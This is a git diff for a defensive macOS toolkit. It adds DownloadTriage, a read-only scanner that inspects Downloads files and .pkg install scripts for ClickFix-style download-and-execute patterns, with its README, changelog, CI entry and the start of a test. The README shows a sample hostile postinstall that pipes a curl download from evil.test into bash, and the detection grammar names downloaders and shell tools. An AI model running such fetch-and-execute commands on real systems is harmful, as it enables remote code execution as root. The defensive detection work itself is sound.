diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 350db55..889ca8e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -79,6 +79,17 @@ jobs: # run, which silently absorbed whatever had just been planted. run: bash tests/test-watchpost-baseline.sh + downloadtriage: + name: DownloadTriage catches root-privileged pkg scripts (macOS) + runs-on: macos-latest + steps: + - uses: actions/checkout@v4 + - name: Build fixture packages and assert they are triaged correctly + # Builds its own .pkg fixtures with pkgbuild. Asserts a hostile + # postinstall is flagged, a benign one is not, and — the load-bearing + # check — that expanding a package never EXECUTES its scripts. + run: bash tests/test-downloadtriage.sh + exposurescan-tests: name: ExposureScan redaction invariants runs-on: ubuntu-latest diff --git a/CHANGELOG.md b/CHANGELOG.md index 25ffb1c..a29ff10 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,52 @@ All notable changes to the ClickFix Defense Kit are documented here. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.3.0] — 2026-07-29 + +### Added — DownloadTriage (7th tool) + +ShellGuard guards the shell prompt. That is one execution path, and macOS has +many — a double-clicked `.command`, a `.pkg` preinstall running as **root**, an +`.app` inside a DMG, a `.scpt` in Script Editor. None touch a zsh prompt, so +none could be caught at `accept-line`. This closes the **deliver** stage. + +- **`.pkg` install scripts are expanded and run through the shared grammar.** + A package's `preinstall`/`postinstall` runs as root, and the user is + *conditioned* to type an admin password into Installer.app — so GuestMode's + "a phished password can't escalate" framing does not cover it. The escalation + is the installer's documented behaviour. If a script would be blocked at your + terminal, it is flagged in the installer too, and shown to you. + `pkgutil --expand-full` unpacks; it never executes. A test asserts exactly + that, using a fixture whose `postinstall` would create a marker file. +- Reports quarantine attribute (ABSENT on an executable means Gatekeeper will + not inspect it at all), `kMDItemWhereFroms` origin URL checked against the + grammar's malware-staging host list, and Gatekeeper verdict + signer. +- `.command`, `.terminal` and `.sh` contents are read through the grammar. +- DMGs are **not** mounted without `--mount`, because mounting is itself a + delivery step in current campaigns. +- `--json` for scripting; exit `2` when something wants attention. + +### Fixed — false positives found by running it on a real Downloads folder + +- **An early build reported the official Signal installer as "REJECTED — + unsigned."** `spctl -a` with no type argument assumes an executable, so it + returns "no usable signature" for legitimate `.dmg` and `.zip` files. A tool + that tells you Signal is unsigned is worse than no tool. Gatekeeper verdicts + are now rendered only for `.app`, `.pkg` (with `-t install`) and Mach-O + binaries. For a `.dmg` the tool says plainly that the signature lives on the + app inside and was not checked. +- A malware-staging host on a non-executable (a `.txt` from a Discord CDN link) + now warns rather than alarms. +- On a real 237-item Downloads folder this cut flagged items from 15 to 3. + +### Fixed — shared grammar leaked variables into stdout + +`local` re-declared inside a loop makes zsh echo `name=value`. `clickfix_check` +did this in three places, so `d=socat` and similar leaked into the stdout of +anything sourcing the grammar. Invisible in ShellGuard (which writes to +`/dev/tty`) and in the corpus runner (which reads only the verdict), but it +corrupted DownloadTriage's report. All loop-scoped locals are now declared once. + ## [0.2.0] — 2026-07-29 The kit was born from a breach and, until this release, had nothing for the hour diff --git a/README.md b/README.md index a3663f2..09b9e1f 100644 --- a/README.md +++ b/README.md @@ -93,13 +93,14 @@ autopilot can be interrupted, contained, or at least *noticed*. ## The tools -Six small tools, each independent, each installable on its own. They stack into -defense-in-depth across the kill chain: **copy → paste → execute → escalate → -persist → exfiltrate**, plus a self-audit of what's already exposed. +Seven small tools, each independent, each installable on its own. They stack into +defense-in-depth across the kill chain: **deliver → copy → paste → execute → +escalate → persist → exfiltrate**, plus a self-audit of what's already exposed. | Tool | Stage it covers | What it actually stops / does | Honest positioning vs. prior art | |------|-----------------|-------------------------------|----------------------------------| | **[ShellGuard](./shellguard)** | **Execute** | A zsh guard that tokenizes the command you are about to run, and stops download/decode-and-execute shapes **at the moment you press Enter** — two tiers: a typed confirmation phrase for unambiguous attacks, a single Enter for heuristics. | **The zero-permission control point.** Objective-See's **BlockBlock** added ClickFix protection at Cmd+V in Feb 2026 and inspects real paste content — if you will install a system extension, run it. ShellGuard's remaining honest claim is narrower and still real: it needs **no root, no kext, no system extension and no TCC grant**, it is the only layer that fires on a **typed** (not pasted) command, and it gates at the last authoritative moment: execution. | +| **[DownloadTriage](./downloadtriage)** | **Deliver** | Read-only inspection of `~/Downloads` before you double-click: quarantine flag, origin URL, Gatekeeper verdict — and for a `.pkg`, it expands the package and runs its **root-privileged** install scripts through the same grammar that guards your shell prompt. | Closes the paths ShellGuard structurally cannot see: a double-clicked `.command`, a `.pkg` preinstall running as root, a `.app` in a DMG. Objective-See's **WhatsYourSign** is the better everyday "who signed this?" tool and is linked. The additive sliver is connecting `.pkg` install scripts to the ClickFix grammar. | | **[ExposureScan](./exposurescan)** | **Self-audit** | A read-only, **names-and-counts-only** scan of four surfaces (browser logins, Apple Notes, `.env` files, `~/.secrets`, plus PII markers) that prints a **blast-radius map ranked by pivot value** — never a single secret value. | **Inverts the trufflehog/gitleaks posture.** Those tools *find and print the value*. ExposureScan answers *"what would a stealer walk away with?"* with the values **architecturally absent from the code path**. That inversion is the product. | | **[ClipSentinel](./clipsentinel)** | **Copy** | A dependency-free clipboard watchdog. Fires a macOS notification the instant a dangerous command lands on your clipboard — the earliest interception point, before any terminal is involved. | **Use BlockBlock instead if you'll install a system extension** — since Feb 2026 it inspects actual paste content at Cmd+V and does this job better. ClipSentinel is the **zero-permission fallback**: nothing to approve, nothing to trust with root, which is the difference between a family member having *something* and having nothing. It cannot block a paste (macOS exposes no API to); the authoritative block is ShellGuard. | | **[Canary](./canary)** | **Detect breach** | A honeytoken generator. Plants traceable decoy credentials (fake AWS keys, `.env`, `passwords.txt`) where stealers grab them, with a walkthrough to wire them to **canarytokens.org** (network callback) and/or `eslogger` (local read-watch). | The network-callback half is **Thinkst Canarytokens' / Objective-See's** territory and they win it — this tool is the *turnkey placement + literacy layer* around them. The only additive sliver is the `eslogger` local-read tripwire for a "read-and-walk-away" attacker. | @@ -170,6 +171,7 @@ Each tool also installs standalone — see its folder's `README.md`. 1. **ShellGuard** — the load-bearing block. Install first. 2. **ExposureScan** — run it once to see your current blast radius and fix the P0s. +2b. **DownloadTriage** — run it once over `~/Downloads` to see what is already sitting there. 3. **ClipSentinel** — copy-time early warning. 4. **GuestMode** — make a non-admin account for anyone who isn't you. 5. **Canary** — plant tripwires so you'd *know* if something got through. diff --git a/downloadtriage/README.md b/downloadtriage/README.md new file mode 100644 index 0000000..3fc0aaa --- /dev/null +++ b/downloadtriage/README.md @@ -0,0 +1,114 @@ +# DownloadTriage + +**"I downloaded this. Should I open it?"** + +Read-only inspection of what is sitting in your Downloads folder, *before* you +double-click it. Nothing is opened, mounted, installed, or executed. + +```sh +./downloadtriage.zsh # ~/Downloads, last 30 days +./downloadtriage.zsh # one thing +./downloadtriage.zsh --all # no date filter +./downloadtriage.zsh --mount # allow DMG mounting for deep inspection +./downloadtriage.zsh --json # machine-readable +``` + +Exit `0` nothing notable · `2` something wants your attention. + +--- + +## Why this exists + +ShellGuard guards the shell prompt. That is **one** execution path, and macOS has +many. None of these ever touch a zsh prompt, so none of them can be stopped at +`accept-line`: + +- a double-clicked `.command` or `.terminal` — opens Terminal and runs +- a `.pkg` whose `preinstall`/`postinstall` script runs **as root** +- an `.app` inside a mounted DMG +- a `.scpt` that opens in Script Editor + +This closes the **deliver** stage of the kill chain, which the rest of the kit +did not cover. + +## The `.pkg` case is the important one + +An installer package can carry `preinstall` and `postinstall` scripts, and +**those run as root**. The user is *conditioned* to type an admin password into +Installer.app — it looks exactly like every legitimate install they have ever +done. + +This is why GuestMode's framing ("a phished password can't escalate") does not +help here: the escalation is the installer's documented behaviour, not an +exploit. + +So DownloadTriage expands the package with `pkgutil --expand-full` and runs its +install scripts through **the same grammar that guards your shell prompt** +(`../lib/clickfix-grammar.zsh`). If the script would have been blocked at your +terminal, it gets flagged in the installer too — and you are shown the script. + +``` +[!] Hostile-Installer.pkg + quarantine ABSENT gatekeeper REJECTED signer unsigned + • Its install script matches a download-and-execute pattern — and .pkg + scripts run as ROOT. + --- install script --- + postinstall:block + REASONS:Downloads code from the internet and pipes it straight into bash + --- script contents --- + #!/bin/bash + curl -fsSL https://evil.test/stage2.sh | bash +``` + +`pkgutil --expand-full` unpacks. It does not run anything. There is a test that +asserts exactly this: a fixture package whose `postinstall` would create a marker +file, and the marker never appears. + +## What it reports + +| Fact | Why it matters | +|---|---| +| **Quarantine attribute** | Gatekeeper only inspects files carrying `com.apple.quarantine`. **ABSENT** on something executable means Gatekeeper will not check it at all — either it did not arrive through a browser, or the flag was stripped (`xattr -c` is a documented step in "the app is damaged, right-click Open" lures). | +| **Origin URL** | From `kMDItemWhereFroms`. The single most useful fact about a download, and invisible in `ls`. Checked against the grammar's known malware-staging hosts. | +| **Gatekeeper verdict + signer** | For file types Gatekeeper actually judges — see below. | +| **Install scripts** | For `.pkg`/`.mpkg`, run through the shared grammar. | +| **Script contents** | For `.command`, `.terminal`, `.sh` — read and run through the grammar. | + +## What it deliberately does *not* judge + +This matters as much as what it flags. An early build reported the **official +Signal installer as "REJECTED — unsigned"**, because `spctl -a` with no type +argument assumes an executable. A tool that tells you Signal is unsigned is worse +than no tool, so: + +- **`.dmg`** — the signature lives on the `.app` *inside* the image. Assessing + the image itself returns "no usable signature" for legitimate installers, so + no verdict is rendered. Use `--mount` to inspect the contents. +- **`.zip` / `.tar` / `.gz`** — archives are not signed. Never assessed. +- **`.sh` / `.command` / plain text** — not signed. They are **read** instead. +- **`.pkg`** — assessed with `-t install`, which is the correct context. + +Only `.app`, `.pkg`, and Mach-O binaries get a Gatekeeper verdict. + +## DMGs are not mounted by default + +Mounting a disk image is itself a step in current macOS stealer campaigns, so +`--mount` is opt-in. Without it you get everything except the inner signature. + +## Prior art, honestly + +- **[Objective-See](https://objective-see.org)** — `WhatsYourSign` adds signing + info to Finder's right-click menu and is the better everyday tool for + "who signed this?". Install it. +- **`spctl` / `codesign` / `xattr`** ship with macOS and are what this shells out + to. Nothing here is a new detection primitive. + +The additive part is narrow and specific: **expanding a `.pkg` and running its +root-privileged install scripts through the same ClickFix grammar that guards +the shell prompt.** Nothing else in the kit — or, as far as I can find, in the +consumer tooling — connects those two things. + +## Permissions + +None. No Full Disk Access, no root, no network. It reads file metadata and +unpacks archives into a temp directory it deletes afterwards. diff --git a/downloadtriage/downloadtriage.zsh b/downloadtriage/downloadtriage.zsh new file mode 100755 index 0000000..49059cb --- /dev/null +++ b/downloadtriage/downloadtriage.zsh @@ -0,0 +1,381 @@ +#!/bin/zsh +# downloadtriage.zsh — ClickFix Defense Kit +# ============================================================================= +# "I downloaded this. Should I open it?" +# +# ShellGuard watches the shell prompt. That is one execution path, and macOS has +# many. A double-clicked .command, a .pkg whose preinstall script runs as ROOT, a +# .app from a mounted DMG, a Script Editor lure — none of them ever touch a zsh +# prompt, so none of them can be caught at accept-line. +# +# This closes the DELIVER stage: it inspects what is already sitting in your +# Downloads folder, BEFORE you double-click it. +# +# WHY .pkg IS THE IMPORTANT CASE +# An installer package can carry preinstall/postinstall scripts that run as +# root, and the user is *conditioned* to type an admin password into +# Installer.app — it looks exactly like a legitimate install. GuestMode's +# "a phished password cannot escalate" framing does not cover it, because the +# escalation is the documented behaviour of the installer. So this tool +# expands the package and runs its scripts through the SAME grammar that +# guards your shell prompt (../lib/clickfix-grammar.zsh). +# +# IT NEVER EXECUTES ANYTHING. +# `pkgutil --expand-full` unpacks; it does not run. DMGs are NOT mounted +# unless you pass --mount, because mounting is itself an attack step in +# current campaigns. Nothing here opens, launches, or installs. +# +# Usage: +# ./downloadtriage.zsh triage ~/Downloads (last 30 days) +# ./downloadtriage.zsh triage one file or directory +# ./downloadtriage.zsh --all no date filter +# ./downloadtriage.zsh --days N change the window (default 30) +# ./downloadtriage.zsh --mount allow DMG mounting for deep inspection +# ./downloadtriage.zsh --json machine-readable summary +# +# Exit: 0 nothing notable · 2 something wants your attention · 1 usage error +# +# DEFENSIVE USE ONLY. Read-only. No network. Nothing leaves the machine. +# ============================================================================= + +emulate -L zsh +setopt local_options no_nomatch pipe_fail + +typeset -r ROOT=${0:A:h:h} +typeset -r GRAMMAR=$ROOT/lib/clickfix-grammar.zsh + +typeset TARGET="$HOME/Downloads" +typeset -i DAYS=30 ALLTIME=0 ALLOW_MOUNT=0 JSON=0 + +while (( $# )); do + case $1 in + --all) ALLTIME=1; shift ;; + --days) DAYS=${2:-30}; shift 2 ;; + --mount) ALLOW_MOUNT=1; shift ;; + --json) JSON=1; shift ;; + -h|--help) sed -n '3,40p' ${0:A} | sed 's/^# \{0,1\}//'; exit 0 ;; + -*) print -u2 -- "Unknown option: $1 (try --help)"; exit 1 ;; + *) TARGET=$1; shift ;; + esac +done + +if [[ ! -r $GRAMMAR ]]; then + print -u2 -- "[downloadtriage] FATAL: cannot read $GRAMMAR" + exit 1 +fi +source "$GRAMMAR" + +if [[ -t 1 ]] && (( ! JSON )); then + B=$'\033[1m'; R=$'\033[1;31m'; Y=$'\033[33m'; G=$'\033[32m'; D=$'\033[2m'; X=$'\033[0m' +else + B=''; R=''; Y=''; G=''; D=''; X='' +fi + +typeset -i N_SEEN=0 N_FLAG=0 +typeset -a JSON_ROWS + +# --------------------------------------------------------------------------- +# Fact gathering — each returns a short string, never executes the target +# --------------------------------------------------------------------------- + +# Gatekeeper only inspects files carrying com.apple.quarantine. A file WITHOUT +# it either never came from a download-aware app, or had it stripped — and +# stripping it is a documented step in "the app is damaged, right-click Open" +# social engineering. +_quarantine() { + local q + q=$(xattr -p com.apple.quarantine "$1" 2>/dev/null) + if [[ -z $q ]]; then + print -r -- "ABSENT" + else + print -r -- "present" + fi +} + +# The origin URL. This is the single most useful fact about a download and it +# is invisible in `ls`. +_origin() { + local o + o=$(mdls -raw -name kMDItemWhereFroms "$1" 2>/dev/null \ + | tr -d '\n' | sed -E 's/[(){}"]//g; s/^[[:space:]]*//; s/,.*$//') + [[ -z $o || $o == '(null)' || $o == 'null' ]] && o='' + print -r -- "$o" +} + +# Gatekeeper's own verdict, plus who signed it. +# +# The assessment TYPE matters. `spctl -a` with no type assumes an executable, so +# running it against a .pkg or an archive returns "rejected / no usable +# signature" for perfectly legitimate files. Reporting that as a finding is how +# you end up telling someone the official Signal installer is unsigned. +_assess() { + local out verdict auth kind=$2 + case $kind in + pkg|mpkg) out=$(spctl -a -vv -t install "$1" 2>&1) ;; + *) out=$(spctl -a -vv "$1" 2>&1) ;; + esac + if print -r -- "$out" | grep -q 'accepted'; then + verdict=accepted + elif print -r -- "$out" | grep -q 'rejected'; then + verdict=REJECTED + else + verdict=unknown + fi + auth=$(print -r -- "$out" | grep -m1 'origin=' | sed 's/.*origin=//') + [[ -z $auth ]] && auth=$(codesign -dv --verbose=2 "$1" 2>&1 | grep -m1 'Authority=' | sed 's/.*Authority=//') + [[ -z $auth ]] && auth='unsigned' + print -r -- "${verdict}|${auth}" +} + +# --------------------------------------------------------------------------- +# The important one: expand a .pkg and read its install scripts +# --------------------------------------------------------------------------- +# `pkgutil --expand-full` writes the package's contents to disk. It does NOT +# run anything. A pre/postinstall script here executes as ROOT at install time. +_scan_pkg_scripts() { + # Every local is declared ONCE here. Re-running `local body` inside the loop + # made zsh echo "body=$'...'" into stdout — the script's own debug noise + # landing in the report. + local pkg=$1 + local tmp findings='' s body + tmp=$(mktemp -d "${TMPDIR:-/tmp}/dltriage.XXXXXX") || return 1 + + if ! pkgutil --expand-full "$pkg" "$tmp/x" >/dev/null 2>&1; then + rm -rf -- "$tmp" + print -r -- "UNREADABLE" + return 0 + fi + + # ONE glob. Two overlapping patterns reported every script twice. + for s in "$tmp"/x/**/(preinstall|postinstall)(N.); do + [[ -f $s ]] || continue + body=$(<"$s") + [[ -z ${body//[[:space:]]/} ]] && continue + + # The payoff of the shared grammar: the same tokenizer that guards the + # shell prompt now reads an installer script that would run as root. + clickfix_check "$body" + findings+="${s:t}:${CLICKFIX_VERDICT}"$'\n' + if [[ $CLICKFIX_VERDICT != silent ]]; then + findings+=" REASONS:${(j:; :)CLICKFIX_REASONS}"$'\n' + # Keep a sanitized excerpt so the user can see it with their own eyes. + # Indent via sed, not a zsh substitution: ${x//$'\n'/...} does not expand + # the replacement, so it emitted a literal $'\n' into the report. + findings+=" --- script contents ---"$'\n' + findings+="$(clickfix_sanitize_for_display "$body" 20 | sed 's/^/ /')"$'\n' + fi + done + + rm -rf -- "$tmp" + [[ -z $findings ]] && print -r -- "NONE" || print -r -- "$findings" +} + +# --------------------------------------------------------------------------- +# Per-file triage +# --------------------------------------------------------------------------- +_triage_one() { + local f=$1 + local ext=${f:e:l} name=${f:t} + local -a notes + local tier=ok + + (( N_SEEN++ )) + + local q=$(_quarantine "$f") + local origin=$(_origin "$f") + + # Gatekeeper assessment is only MEANINGFUL for things macOS would actually + # launch. `spctl -a` "rejects" an ordinary .txt or .png too, and reporting + # that as a finding is crying wolf on every document in the folder — which is + # how a tool earns itself being ignored. Assess only what can execute. + # Only ask Gatekeeper about things Gatekeeper actually judges. + # + # .app / .pkg — signed and notarized as a unit. Assess these. + # .dmg — the signature lives on the .app INSIDE. Assessing the + # image itself returns "no usable signature" for legitimate + # installers, so we say nothing rather than something false. + # .zip/.tar/.gz — archives are not signed. Never assess. + # .sh/.command — plain text. Not signed; we READ them instead. + local -i assessable=0 + case $ext in + app|pkg|mpkg) assessable=1 ;; + esac + # An executable binary (not a text script) is also fair game. + if [[ -x $f && ! -d $f && $ext != (sh|command|terminal|scpt|applescript|py|rb|pl) ]]; then + file -b "$f" 2>/dev/null | grep -qi 'mach-o' && assessable=1 + fi + + local verdict='n/a' auth='n/a' assess + if (( assessable )); then + assess=$(_assess "$f" "$ext") + verdict=${assess%%|*} + auth=${assess#*|} + fi + + # --- risk rules ----------------------------------------------------------- + + # Directly-executable-by-double-click script types. These are the ClickFix + # delivery formats that never involve a shell prompt. + case $ext in + command|terminal|scpt|applescript|workflow|shortcut) + notes+=( "Double-clicking this RUNS it. '.${ext}' opens straight into Terminal/Script Editor." ) + tier=warn + # If it is a plain-text script, read it with the shared grammar. + if [[ $ext == (command|terminal) && -r $f ]]; then + local body=$(<"$f") + clickfix_check "$body" + if [[ $CLICKFIX_VERDICT != silent ]]; then + notes+=( "Its contents match a download-and-execute pattern: ${(j:; :)CLICKFIX_REASONS}" ) + tier=danger + fi + fi + ;; + esac + + # The root-escalation case. + if [[ $ext == pkg || $ext == mpkg ]]; then + local sc=$(_scan_pkg_scripts "$f") + if [[ $sc == UNREADABLE ]]; then + notes+=( "Could not expand the package to read its install scripts." ) + [[ $tier == ok ]] && tier=warn + elif [[ $sc != NONE ]]; then + if print -r -- "$sc" | grep -q ':block'; then + notes+=( "Its install script matches a download-and-execute pattern — and .pkg scripts run as ROOT." ) + tier=danger + elif print -r -- "$sc" | grep -q ':warn'; then + notes+=( "Its install script has a suspicious shape. .pkg scripts run as ROOT." ) + [[ $tier != danger ]] && tier=warn + else + notes+=( "Has install scripts (they run as root); grammar found nothing hostile in them." ) + fi + PKG_DETAIL=$sc + fi + fi + + # A missing quarantine flag on something executable means Gatekeeper will not + # inspect it at all. + if [[ $q == ABSENT && $ext == (app|pkg|mpkg|dmg|command|terminal|scpt) ]]; then + notes+=( "No quarantine flag — Gatekeeper will NOT check this on open. Either it did not arrive via a browser, or the flag was stripped." ) + [[ $tier == ok ]] && tier=warn + fi + + if (( assessable )) && [[ $verdict == REJECTED ]]; then + notes+=( "Gatekeeper REJECTS this (unsigned, unnotarized, or tampered)." ) + tier=danger + fi + + # Origin host, checked against the grammar's known malware-staging hosts. + if [[ -n $origin ]]; then + local host=${${origin#*://}%%/*} + local risky + for risky in $CLICKFIX_HIGH_RISK_HOSTS; do + if [[ ${(L)host} == ${(L)risky} || ${(L)host} == *.${(L)risky} ]]; then + notes+=( "Downloaded from ${host} — a host commonly used to stage malware payloads." ) + if (( assessable )) || [[ $ext == (dmg|command|terminal|scpt|sh|zip) ]]; then + tier=danger + elif [[ $tier == ok ]]; then + tier=warn # a .txt from a risky host is worth noting, not alarming + fi + fi + done + fi + + # Any downloaded shell script, not just .command — read it, do not assess it. + if [[ $ext == (sh|bash|zsh) && -r $f && ! -d $f ]]; then + local sbody=$(<"$f") + clickfix_check "$sbody" + if [[ $CLICKFIX_VERDICT != silent ]]; then + notes+=( "Downloaded shell script whose contents match a download-and-execute pattern: ${(j:; :)CLICKFIX_REASONS}" ) + tier=danger + fi + fi + + if [[ $ext == dmg ]]; then + if (( ALLOW_MOUNT )); then + notes+=( "Disk image — mount requested; inspect the .app inside for its real signature." ) + else + notes+=( "Disk image not mounted (mounting is itself a delivery step), so its signature was not checked — that lives on the app inside. Re-run with --mount to inspect." ) + fi + fi + + # --- output --------------------------------------------------------------- + (( ${#notes} == 0 )) && return 0 + [[ $tier != ok ]] && (( N_FLAG++ )) + + if (( JSON )); then + JSON_ROWS+=( "{\"file\":\"${name//\"/\\\"}\",\"tier\":\"$tier\",\"quarantine\":\"$q\",\"gatekeeper\":\"$verdict\",\"signer\":\"${auth//\"/\\\"}\",\"origin\":\"${origin//\"/\\\"}\"}" ) + return 0 + fi + + local badge + case $tier in + danger) badge="${R}[!]${X}" ;; + warn) badge="${Y}[?]${X}" ;; + *) badge="${D}[.]${X}" ;; + esac + + print -r -- "" + print -r -- "$badge ${B}${name}${X}" + [[ -n $origin ]] && print -r -- " ${D}from${X} $origin" + if (( assessable )); then + print -r -- " ${D}quarantine${X} $q ${D}gatekeeper${X} $verdict ${D}signer${X} $auth" + else + print -r -- " ${D}quarantine${X} $q ${D}(Gatekeeper does not judge this file type)${X}" + fi + local n + for n in "${notes[@]}"; do + print -r -- " • $n" + done + if [[ -n ${PKG_DETAIL:-} && $tier != ok ]]; then + print -r -- " ${D}--- install script ---${X}" + print -r -- "$PKG_DETAIL" | sed 's/^/ /' + PKG_DETAIL='' + fi +} + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- +if [[ ! -e $TARGET ]]; then + print -u2 -- "No such path: $TARGET" + exit 1 +fi + +(( JSON )) || { + print -r -- "${B}Download triage${X} ${D}— $TARGET${X}" + print -r -- "${D}Read-only. Nothing is opened, mounted, installed or executed.${X}" +} + +typeset -a files +if [[ -d $TARGET ]]; then + if (( ALLTIME )); then + files=( "$TARGET"/*(.N) "$TARGET"/*.app(N/) "$TARGET"/*.pkg(N) ) + else + files=( ${(f)"$(find "$TARGET" -maxdepth 1 \( -type f -o -name '*.app' \) -mtime -${DAYS} 2>/dev/null)"} ) + fi +else + files=( "$TARGET" ) +fi + +typeset f +for f in "${files[@]}"; do + [[ -z $f || ! -e $f ]] && continue + [[ ${f:t} == .* ]] && continue + _triage_one "$f" +done + +if (( JSON )); then + print -r -- "{\"scanned\":$N_SEEN,\"flagged\":$N_FLAG,\"items\":[${(j:,:)JSON_ROWS}]}" +else + print -r -- "" + if (( N_FLAG == 0 )); then + print -r -- "${G}Nothing notable${X} across $N_SEEN item(s)." + else + print -r -- "${R}${N_FLAG}${X} of $N_SEEN item(s) want your attention." + print -r -- "${D}A [!] on a .pkg matters most: its install scripts run as root, and you are${X}" + print -r -- "${D}conditioned to type an admin password into Installer.app.${X}" + fi +fi + +(( N_FLAG > 0 )) && exit 2 +exit 0 diff --git a/install.sh b/install.sh index d515ec0..ca3a896 100755 --- a/install.sh +++ b/install.sh @@ -23,6 +23,7 @@ # ./install.sh watchpost Install WatchPost # ./install.sh exposurescan Make ExposureScan runnable + run a scan # ./install.sh canary Make Canary runnable (then run it to plant) +# ./install.sh downloadtriage Make DownloadTriage runnable # ./install.sh guestmode Make GuestMode runnable (dry-run by default) # ./install.sh all Install the persistent tools (ShellGuard, # ClipSentinel, WatchPost) + make scripts runnable @@ -113,6 +114,13 @@ install_exposurescan() { ok "ExposureScan ready: ./exposurescan/exposurescan.py --help" } +install_downloadtriage() { + make_runnable downloadtriage downloadtriage.zsh + info "DownloadTriage is read-only — it never opens, mounts or installs anything." + info "Run it over your Downloads folder: ./downloadtriage/downloadtriage.zsh" + ok "DownloadTriage ready." +} + install_canary() { make_runnable canary canary-gen.sh info "Canary plants DECOY honeytokens on YOUR machine. Nothing is planted yet." @@ -136,6 +144,7 @@ install_all() { install_watchpost make_runnable exposurescan exposurescan.py make_runnable canary canary-gen.sh + make_runnable downloadtriage downloadtriage.zsh make_runnable guestmode setup-guestmode.sh ok "Persistent tools installed; ExposureScan/Canary/GuestMode made runnable." info "Run ./exposurescan/exposurescan.py to see your current blast radius." @@ -157,6 +166,7 @@ install_menu() { say " ${BOLD}3${RST}) ClipSentinel ${DIM}clipboard copy-time early warning${RST}" say " ${BOLD}4${RST}) GuestMode ${DIM}standard non-admin account (containment)${RST}" say " ${BOLD}5${RST}) Canary ${DIM}honeytoken tripwire generator${RST}" + say " ${BOLD}7${RST}) DownloadTriage ${DIM}inspect ~/Downloads before you double-click${RST}" say " ${BOLD}6${RST}) WatchPost ${DIM}persistence diff for unattended/headless Macs${RST}" say " ${BOLD}a${RST}) All persistent tools + make the rest runnable" say " ${BOLD}u${RST}) Uninstall menu" @@ -170,6 +180,7 @@ install_menu() { 3) require_macos; install_clipsentinel ;; 4) require_macos; install_guestmode ;; 5) install_canary ;; + 7) install_downloadtriage ;; 6) require_macos; install_watchpost ;; a|A) install_all ;; u|U) uninstall_menu ;; @@ -294,6 +305,7 @@ main() { watchpost) require_macos; install_watchpost ;; exposurescan) install_exposurescan ;; canary) install_canary ;; + downloadtriage) install_downloadtriage ;; guestmode) require_macos; install_guestmode ;; all) install_all ;; uninstall) diff --git a/lib/clickfix-grammar.zsh b/lib/clickfix-grammar.zsh index 6bbae86..fa29efa 100644 --- a/lib/clickfix-grammar.zsh +++ b/lib/clickfix-grammar.zsh @@ -485,6 +485,10 @@ clickfix_check() { # ---- walk statements, classifying each pipeline stage ---------------- local -a stmt local stage cw + # Declared ONCE. zsh echoes "name=value" when `local name` re-runs on an + # already-set name inside a loop, so these must not be re-declared below. + local tier m d p sbody + local -i found=0 netp=0 execp=0 local -i saw_dl saw_dec si local -a stmt_words @@ -509,11 +513,10 @@ clickfix_check() { # interpreter later. Covers curl|sh, curl|tee|sh, curl|gunzip|bash, # base64 -d|sh, and every interposed-stage variant in one rule. if _cfg_is_interpreter "$cw" && (( saw_dl || saw_dec )); then - local tier=block + tier=block # `curl api | python3 -m json.tool` is a data formatter, not a # code loader. Downgrade rather than train the user to ignore us. if [[ $stage == *-m[[:space:]]* ]]; then - local m for m in $CLICKFIX_SAFE_MODULES; do [[ $stage == *"-m "*"$m"* ]] && tier=warn done @@ -529,7 +532,7 @@ clickfix_check() { # This is the `bash -c "$(curl ...)"` shape, which has no pipe at all. if _cfg_is_interpreter "$cw" && [[ $stage == *(-c|-e|--eval|--exec)[[:space:]]* ]]; then if [[ $stage == *'$('* || $stage == *'`'* ]]; then - local d found=0 + found=0 for d in $CLICKFIX_DOWNLOADERS; do [[ $stage == *"$d"* ]] && found=1 done @@ -539,7 +542,7 @@ clickfix_check() { # primitive. v0.1.0 fired on either one alone, so # `python3 -c "import os; os.system(1)"` was flagged with no network # involved at all. Requiring both kills that false positive. - local netp=0 execp=0 p + netp=0; execp=0 for p in urllib urlopen 'requests.get' http socket 'open-uri' 'Net::HTTP' 'child_process' fetch; do [[ $stage == *"$p"* ]] && netp=1 done @@ -554,7 +557,6 @@ clickfix_check() { # link opens Script Editor pre-filled with exactly this shape. if [[ $cw == osascript ]]; then if [[ $stage == *'do shell script'* ]]; then - local d for d in $CLICKFIX_DOWNLOADERS; do if [[ $stage == *"$d"* ]]; then _cfg_raise block 0 "AppleScript that shells out to ${d} — infostealers use osascript to run payloads and to pop a FAKE password prompt." @@ -579,7 +581,6 @@ clickfix_check() { # Two forms: a bare leading `$(curl x)`, and eval/source/. of one. # v0.1.0 only matched the eval form, and only with a literal prefix. if [[ $cw == (eval|source|.) ]] || { (( si == 1 )) && [[ ${stage##[[:space:]]#} == ('$('|'`')* ]] }; then - local d for d in $CLICKFIX_DOWNLOADERS; do if [[ $stage == *"$d"* ]]; then _cfg_raise block 1 "Runs the output of a remote download as a command (\$( ... ) substitution)." diff --git a/tests/test-downloadtriage.sh b/tests/test-downloadtriage.sh new file mode 100755 index 0000000..50ac612 --- /dev/null +++ b/tests/test-downloadtriage.sh @@ -0,0 +1,136 @@ +#!/usr/bin/env bash +# +# test-downloadtriage.sh — the .pkg root-escalation path must be caught +# ============================================================================== +# ShellGuard cannot see a double-clicked installer. A .pkg preinstall/postinstall +# script runs as ROOT, and the user is conditioned to type an admin password into +# Installer.app — so this is the delivery path with the highest privilege and the +# least suspicion, and the kit was blind to it until downloadtriage. +# +# Fixtures are built here with pkgbuild, so the test is hermetic: nothing is +# downloaded and nothing outside the temp dir is touched. The "payloads" are +# benign — they reference evil.test (an RFC 2606 reserved name that cannot +# resolve) and are never executed. pkgutil --expand-full unpacks; it does not run. +# ============================================================================== + +set -uo pipefail + +ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]:-$0}")/.." >/dev/null 2>&1 && pwd -P)" +DT="$ROOT/downloadtriage/downloadtriage.zsh" + +if [ -t 1 ]; then R=$'\033[1;31m'; G=$'\033[1;32m'; X=$'\033[0m'; else R=''; G=''; X=''; fi + +if ! command -v pkgbuild >/dev/null 2>&1; then + printf 'SKIP: pkgbuild unavailable (not macOS)\n' + exit 0 +fi + +TMP="$(mktemp -d "${TMPDIR:-/tmp}/dltriage-test.XXXXXX")" +cleanup() { [ -n "${TMP:-}" ] && [ -d "$TMP" ] && rm -rf -- "$TMP"; } +trap cleanup EXIT INT TERM + +pass=0; fail=0; r=0 +mkdir -p "$TMP/root" 